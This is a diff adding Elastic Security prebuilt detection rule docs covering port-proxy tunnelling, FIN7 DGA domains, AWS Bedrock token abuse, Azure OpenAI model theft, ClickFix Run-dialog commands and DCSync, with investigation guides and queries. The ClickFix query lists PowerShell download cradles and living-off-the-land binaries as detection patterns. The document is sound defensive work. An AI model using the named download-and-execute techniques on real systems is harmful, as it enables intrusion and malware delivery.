segmentation restrictions. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/bypassing-network-restrictions-through-rdp-tunneling + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Port Forwarding Rule Addition* + + +Network port forwarding is a mechanism to redirect incoming TCP connections (IPv4 or IPv6) from the local TCP port to any other port number, or even to a port on a remote computer. + +Attackers may configure port forwarding rules to bypass network segmentation restrictions, using the host as a jump box to access previously unreachable systems. + +This rule monitors the modifications to the `HKLM\SYSTEM\*ControlSet*\Services\PortProxy\v4tov4\` subkeys. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account and system owners and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Identify the target host IP address, check the connections originating from the host where the modification occurred, and inspect the credentials used. + - Investigate suspicious login activity, such as unauthorized access and logins from outside working hours and unusual locations. + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the Administrator is aware of the activity and there are justifications for this configuration. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Delete the port forwarding rule. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\PortProxy\\v4tov4\\*" and registry.data.strings != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Proxy +** ID: T1090 +** Reference URL: https://attack.mitre.org/techniques/T1090/ +* Sub-technique: +** Name: Internal Proxy +** ID: T1090.001 +** Reference URL: https://attack.mitre.org/techniques/T1090/001/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-possible-fin7-dga-command-and-control-behavior.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-possible-fin7-dga-command-and-control-behavior.asciidoc new file mode 100644 index 0000000000..1506dbf9fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-possible-fin7-dga-command-and-control-behavior.asciidoc @@ -0,0 +1,97 @@ +[[prebuilt-rule-8-19-36-possible-fin7-dga-command-and-control-behavior]] +=== Possible FIN7 DGA Command and Control Behavior + +This rule detects a known command and control pattern in network events. The FIN7 threat group is known to use this command and control technique, while maintaining persistence in their target's network. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Command and Control +* Domain: Endpoint +* Rule Type: ES|QL +* Data Source: PAN-OS +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +In the event this rule identifies benign domains in your environment, the `destination.domain` exclusion in the rule can be modified to include those domains. Example: `... | where destination.domain not in ("zoom.us", "benign.domain1", "benign.domain2")`. + +==== Rule query + + +[source, js] +---------------------------------- +from packetbeat-*, filebeat-*, logs-network_traffic.*, logs-panw.panos* metadata _id, _version, _index +| where ( + data_stream.dataset in ("network_traffic.tls", "network_traffic.http") or + ( + data_stream.dataset == "panw.panos" and + network.application in ("ssl", "web-browsing") and network.transport == "tcp" + ) or + (event.category in ("network", "network_traffic") and network.protocol in ("tls", "http") and network.transport == "tcp") + ) +| where destination.domain RLIKE "[a-zA-Z]{4,5}\\.(pw|us|club|info|site|top)" +| where destination.domain != "zoom.us" +| keep @timestamp, destination.domain, source.ip, destination.ip, network.protocol, network.transport, data_stream.dataset, _id, _version, _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc new file mode 100644 index 0000000000..e3e1a43401 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-36-potential-abuse-of-resources-by-high-token-count-and-large-response-sizes]] +=== Potential Abuse of Resources by High Token Count and Large Response Sizes + +Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0051 +* https://owasp.org/www-project-top-10-for-large-language-model-applications/ +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: GenAI +* Data Source: AWS Bedrock +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Use Case: Potential Overload +* Use Case: Resource Exhaustion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Service: AWS S3 +* Service: AWS Bedrock +* Mitre Atlas: AML.T0029 +* Mitre Atlas: AML.T0034 + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Abuse of Resources by High Token Count and Large Response Sizes* + + +Amazon Bedrock is AWS’s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers. + +Bedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs. + + +*Possible investigation steps* + + +- Identify the user account that used high prompt token counts and whether it should perform this kind of action. +- Investigate large response sizes and the number of requests made by the user account. +- Investigate other alerts associated with the user account during the past 48 hours. +- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day? +- Examine the account's prompts and responses in the last 24 hours. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours. + + +*False positive analysis* + + +- Verify the user account that used high prompt and large response sizes, has a business justification for the heavy usage of the system. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services. + - Identify any regulatory or legal ramifications related to this activity. + - Identify potential resource exhaustion and impact on billing. +- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation: + +https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* + +// keep token usage data +| keep + user.id, + gen_ai.usage.prompt_tokens, + gen_ai.usage.completion_tokens + +// Aggregate usage metrics +| stats + Esql.ml_usage_prompt_tokens_max = max(gen_ai.usage.prompt_tokens), + Esql.ml_invocations_total_count = count(*), + Esql.ml_usage_completion_tokens_avg = avg(gen_ai.usage.completion_tokens) + by + user.id + +// Filter for suspicious usage patterns +| where + Esql.ml_usage_prompt_tokens_max > 5000 + and Esql.ml_invocations_total_count > 10 + and Esql.ml_usage_completion_tokens_avg > 500 + +// Calculate a custom risk factor +| eval Esql.ml_risk_score = + (Esql.ml_usage_prompt_tokens_max / 1000) * + Esql.ml_invocations_total_count * + (Esql.ml_usage_completion_tokens_avg / 500) + +// Filter on risk score +| where Esql.ml_risk_score > 10 + +// sort high risk users to top +| sort Esql.ml_risk_score desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-azure-openai-model-theft.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-azure-openai-model-theft.asciidoc new file mode 100644 index 0000000000..a247c8a8ab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-azure-openai-model-theft.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-36-potential-azure-openai-model-theft]] +=== Potential Azure OpenAI Model Theft + +Monitors for suspicious activities that may indicate theft or unauthorized duplication of machine learning (ML) models, such as unauthorized API calls, atypical access patterns, or large data transfers that are unusual during model interactions. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://genai.owasp.org/llmrisk2023-24/llm10-model-theft/ +* https://atlas.mitre.org/techniques/AML.T0044 + +*Tags*: + +* Domain: GenAI +* Data Source: Azure OpenAI +* Data Source: Azure Event Hubs +* Use Case: Model Theft +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: Azure +* Domain: Cloud +* Service: Azure OpenAI +* Service: Azure Event Hubs +* Mitre Atlas: AML.T0044 +* Mitre Atlas: AML.T0024.002 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Azure OpenAI Model Theft* + + +Azure OpenAI models are integral to many applications, providing advanced machine learning capabilities. Adversaries may exploit these models by making unauthorized API calls or transferring large volumes of data, potentially indicating model theft. The detection rule identifies such threats by monitoring audit logs for unusual access patterns or excessive data transfers, flagging activities that deviate from normal usage. + + +*Possible investigation steps* + + +- Review the audit logs for the specific resource group and resource name flagged in the alert to understand the context of the access patterns. +- Analyze the timestamps associated with the suspicious activities to determine if they align with known operational periods or if they occur during unusual times. +- Investigate the source of the API calls by identifying the IP addresses or user accounts involved in the "ListKey" operations to determine if they are authorized or known entities. +- Examine the response length data to assess whether the volume of data transferred is consistent with legitimate use cases or if it suggests potential data exfiltration. +- Cross-reference the flagged activities with other security logs or alerts to identify any correlated suspicious behavior or potential indicators of compromise. + + +*False positive analysis* + + +- High-frequency legitimate API calls from automated scripts or applications may trigger the rule. Users can create exceptions for known scripts by identifying their specific access patterns and excluding them from the rule. +- Large data transfers during scheduled model updates or backups can be mistaken for suspicious activity. Users should whitelist these operations by correlating them with scheduled maintenance windows or known update events. +- Regular access by trusted internal teams for model evaluation or testing might appear as atypical patterns. Users can mitigate this by maintaining a list of authorized personnel and their expected access behaviors, then excluding these from the alert criteria. +- Integration with other Azure services that require frequent access to OpenAI models could generate false positives. Users should document these integrations and adjust the rule to recognize and exclude these legitimate interactions. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources by restricting network access to prevent further unauthorized API calls or data transfers. +- Revoke and regenerate API keys associated with the compromised Azure OpenAI resources to prevent further unauthorized access. +- Conduct a thorough review of audit logs to identify any additional unauthorized access attempts or data transfers, and document all findings for further analysis. +- Notify the security operations team and relevant stakeholders about the potential model theft incident to ensure coordinated response efforts. +- Implement additional monitoring on the affected resources to detect any further suspicious activities, focusing on access patterns and data transfer volumes. +- Escalate the incident to the organization's incident response team for a comprehensive investigation and to determine if any data exfiltration occurred. +- Review and update access controls and permissions for Azure OpenAI resources to ensure they adhere to the principle of least privilege, reducing the risk of future unauthorized access. + + +==== Setup + + + +*Setup* + + +For more information on +streaming events, see the Azure OpenAI documentation: + +https://learn.microsoft.com/en-us/azure/azure-monitor/essentials/stream-monitoring-data-event-hubs + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure_openai.logs-* +| where + azure.open_ai.operation_name == "ListKey" and + azure.open_ai.category == "Audit" +| keep + @timestamp, + azure.open_ai.operation_name, + azure.open_ai.category, + azure.resource.group, + azure.resource.name, + azure.open_ai.properties.response_length +| stats + Esql.event_count = count(*), + Esql.azure_open_ai_properties_response_length_max = max(azure.open_ai.properties.response_length) + by + azure.resource.group, + azure.resource.name +| where + Esql.event_count >= 100 or + Esql.azure_open_ai_properties_response_length_max >= 1000000 +| sort + Esql.event_count desc + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-clickfix-command-via-windows-run-dialog.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-clickfix-command-via-windows-run-dialog.asciidoc new file mode 100644 index 0000000000..122d14c1da --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-clickfix-command-via-windows-run-dialog.asciidoc @@ -0,0 +1,275 @@ +[[prebuilt-rule-8-19-36-potential-clickfix-command-via-windows-run-dialog]] +=== Potential ClickFix Command via Windows Run Dialog + +Identifies suspicious commands written to the Windows Run dialog history (RunMRU) by explorer.exe. Adversaries socially engineer users to copy and paste malicious commands for execution, a pattern commonly seen in Fake CAPTCHA (ClickFix) campaigns. Investigate the process tree for a child of explorer.exe that matches the stored command. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/threat-command/telepuz-maas-malware-clickfix +* https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Threat: ClickFix +* Threat: Living off the Land +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential ClickFix Command via Windows Run Dialog* + + + +*Possible investigation steps* + + +- What command was stored in the Run dialog history? + - Why: RunMRU records the command submitted through the Windows Run dialog. ClickFix and Fake CAPTCHA pages instruct the victim to paste that command. + - Focus:`registry.data.strings`. + - Implication: escalate when the string downloads content, decodes a payload, hides the window, or hands execution to PowerShell, cmd, mshta, msiexec, rundll32, certutil, curl, wget, or bitsadmin. Lower suspicion only when the same string is a bounded support or install command from a recognized workflow. + +- Did explorer.exe launch a child that matches the stored command? + - Why: the alerting process is explorer.exe writing Run dialog history. The pasted command runs as a child of that explorer instance. + - Focus: child process starts where `process.parent.entity_id` equals the alert `process.entity_id`. Compare child `process.name`, `process.executable`, and `process.command_line` with `registry.data.strings`. + - Implication: escalate when a child shell, script host, or living-off-the-land binary matches the RunMRU string. No matching child leaves execution unproven. + +- What did that child do next? + - Focus: descendants of the recovered child `process.entity_id`, plus file and network events scoped to that child. Review `process.command_line`, `file.path`, `dns.question.name`, and `destination.ip`. + - Hint: if the child entity id is absent, fall back to `host.id` plus the child `process.pid` in a tight window. Missing file or network telemetry leaves those questions unresolved. + - Implication: escalate when the child retrieves a payload, writes a script or executable under a user-writable path, spawns further shells, or contacts an unusual destination. + +- Does the user and host context fit a planned paste-and-run action? + - Focus: `user.id`, `user.name`, `host.id`, and `host.name`, plus browser, chat, or mail activity just before the RunMRU write. + - Implication: escalate when an end-user host has no change window for the command. A lab or awareness exercise is lower suspicion only when the command, user, and host all match that exercise. + +- Escalate when the RunMRU command shows download, decode, hidden execution, or living-off-the-land staging and the process tree, artifacts, destinations, or related alerts support execution. Close only when the stored command, launched child, user, and host bind to one authorized simulation or lab workflow with no contradiction. If evidence is mixed or visibility is incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Security-awareness, phishing-simulation, red-team, and malware-analysis labs can paste these commands into the Run dialog. Confirm one workflow: the `registry.data.strings` value, the expected child `process.executable` and `process.command_line`, and a bounded `user.id` / `host.id`, with recovered children and destinations inside the exercise. +- Administrators sometimes launch a signed installer or diagnostic through the Run dialog. Close only when the stored command and child process are that exact tool, with no download cradle, encoded command, or second-stage child. +- Before an exception, require the same `registry.data.strings` fragment, `user.id`, and `host.id` across prior alerts from this rule. Avoid exceptions on `explorer.exe`, the RunMRU path, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the command, child identity, `user.id`, and `host.id` that proved the workflow. Create an exception only when that exact workflow recurs. +- If suspicious but unconfirmed, export the registry event, `registry.data.strings`, the explorer `process.entity_id`, and the child process tree, command lines, file paths, and destinations before cleanup. Apply reversible controls first, such as temporary destination blocks, a browser-session reset, or heightened monitoring. Isolate the host when retrieval or second-stage execution makes continued connectivity risky. +- If confirmed malicious, isolate the host, then terminate the child process and suspicious descendants after recording identifiers. Remove staged scripts, archives, and payloads, and block confirmed domains, IPs, hashes, or URLs. Reset credentials only when the investigation shows account misuse. +- Post-incident hardening: retain registry and process telemetry for Run dialog triage, review browser and paste-execution controls, and record the lure wording and paste-run chain in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.registry-*, logs-windows.sysmon_operational-*, winlogbeat-*, + logs-windows.forwarded-*, logs-m365_defender.event-*, logs-sentinel_one_cloud_funnel.*, + logs-crowdstrike.fdr* metadata _id, _version, _index +| where KQL(""" host.os.type : "windows" AND event.category:"registry" AND process.name:explorer.exe AND event.type : ("creation" or "change") """) + and registry.data.strings is not null + and ( + to_lower(registry.path) like """hkey_users\\*\\software\\microsoft\\windows\\currentversion\\explorer\\runmru\\*""" + or to_lower(registry.path) like """\\registry\\user\\*\\software\\microsoft\\windows\\currentversion\\explorer\\runmru\\*""" + or to_lower(registry.path) like """hku\\*\\software\\microsoft\\windows\\currentversion\\explorer\\runmru\\*""" + or to_lower(registry.path) like """hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\runmru\\*""" + or to_lower(registry.path) like """hkey_current_user\\software\\microsoft\\windows\\currentversion\\explorer\\runmru\\*""" + ) + and not to_lower(registry.path) like """*\\runmru\\mrulist""" +| eval registry_data = to_lower(mv_concat(registry.data.strings, " ")) +| where + // PowerShell / PowerShell 7 with suspicious arguments or content + ( + (registry_data like "*powershell*" or registry_data like "*pwsh*") and + ( + registry_data like "*-nop *" or + registry_data like "* -e *" or + registry_data like "* -ec *" or + registry_data like "* -en*" or + registry_data like "*irm *" or + registry_data like "*iwr *" or + registry_data like "*iex *" or + registry_data like "*iex(*" or + registry_data like "*invoke-restmethod*" or + registry_data like "*invoke-webrequest*" or + registry_data like "*invoke-expression*" or + registry_data like "*invoke-command*" or + registry_data like "*$executioncontext.invokecommand*" or + registry_data like "*webclient*" or + registry_data like "*downloadstring*" or + registry_data like "*downloadfile*" or + registry_data like "*http*" or + registry_data like "*bypass*" or + registry_data like "* -w* h*" or + registry_data like "* -w* mi*" or + registry_data like "* -w *" or + registry_data like "*start-process*" or + registry_data like "*frombase64string*" or + registry_data like "*substring*" or + registry_data like "*psitem.definition*" or + registry_data like "*+*+*+*" + ) + ) + or + // Remote content and script execution through other utilities + ( + registry_data like "*msiexec*" or + registry_data like "*mshta*" or + registry_data like "*msbuild*" or + registry_data like "*pcalua*" or + registry_data like "*regsvr32*" or + registry_data like "*rundll32*" or + registry_data like "*cmstp.exe*" or + registry_data like "*cmd*http*" or + registry_data like "*cmd*set*&set*" or + registry_data like "*conhost*" or + registry_data like "*forfiles*" or + registry_data like "*certutil*" or + registry_data like "*curl*http*" or + registry_data like "*wget*http*" or + registry_data like "*bitsadmin*" or + registry_data like "*wmic*/f*" or + registry_data like "*odbcconf*" or + registry_data like "*cmd*nslookup*" or + registry_data like "*script*davwwwroot*" or + registry_data like "*script*@ssl*" or + registry_data like "*cmd*wscript*" or + registry_data like """control.exe*\\*\\*""" or + registry_data like "*cmd* in (f_*" or + registry_data like "*cmd*davwwwroot*" or + registry_data like "*cmd*@ssl*" or + registry_data like "*cmd*pushd*" or + registry_data like "*cmd*/d /c for /r *" or + registry_data like "*-appvscript*" or + registry_data like "*|*powershell*" or + registry_data like "*|*pwsh*" or + registry_data like "*iex*irm *" or + registry_data like "*iex*iwr *" + ) +| keep _id, _version, _index, data_stream.namespace, @timestamp, event.dataset, user.id, user.name, user.domain, host.id, host.name, agent.id, process.name, process.entity_id, process.executable, process.pid, registry.data.strings, registry.path + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-credential-access-via-dcsync.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-credential-access-via-dcsync.asciidoc new file mode 100644 index 0000000000..0afb7d70c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-credential-access-via-dcsync.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-36-potential-credential-access-via-dcsync]] +=== Potential Credential Access via DCSync + +This rule identifies when a User Account starts the Active Directory Replication Process. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html +* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing +* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml +* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0027_windows_audit_directory_service_access.md +* https://attack.stealthbits.com/privilege-escalation-using-mimikatz-dcsync +* https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Privilege Escalation +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Windows + +*Version*: 224 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Credential Access via DCSync* + + +Active Directory replication is the process by which the changes that originate on one domain controller are automatically transferred to other domain controllers that store the same data. + +Active Directory data consists of objects that have properties, or attributes. Each object is an instance of an object class, and object classes and their respective attributes are defined in the Active Directory schema. Objects are defined by the values of their attributes, and changes to attribute values must be transferred from the domain controller on which they occur to every other domain controller that stores a replica of an affected 